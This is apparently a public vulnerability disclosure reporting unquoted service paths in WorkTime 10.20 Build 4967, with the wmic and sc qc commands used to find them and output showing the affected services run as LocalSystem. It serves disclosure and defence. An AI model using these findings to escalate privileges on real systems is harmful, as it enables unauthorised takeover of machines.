# Exploit Title: WorkTime 10.20 Build Build 4967 Unquoted Service Path # Discovery by: Yehia Elghaly # Date: 30-12-2021 # Vendor Homepage: https://www.worktime.com/ # Software Link: https://www.worktime.com/download/worktime_corporate.exe # Tested Version: 10.20 Build Build 4967 # Vulnerability Type: Unquoted Service Path # Tested on: Windows 7 x86 - Windows Server 2016 x64 # Step to discover Unquoted Service Path: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ WorkTime Server srvWorkTimeServer C:\WorkTime\WorkTimeServerService.exe Auto WorkTime Reports Scheduler WorkTimeReportsScheduler C:\Program Files\WorkTimeAdministrator\WorkTimeReportsScheduler.exe Auto WorkTime Client Watcher Service WTCWatch C:\Program Files\wtc\WTCWatch.exe WTCWatch Auto C:\Users\psycho>sc qc WorkTimeReportsScheduler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: WorkTimeReportsScheduler TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files\WorkTimeAdministrator\WorkTimeRepo rtsScheduler.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : WorkTime Reports Scheduler DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\psycho>sc qc WTCWatch [SC] QueryServiceConfig SUCCESS SERVICE_NAME: WTCWatch TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files\wtc\WTCWatch.exe WTCWatch LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : WorkTime Client Watcher Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem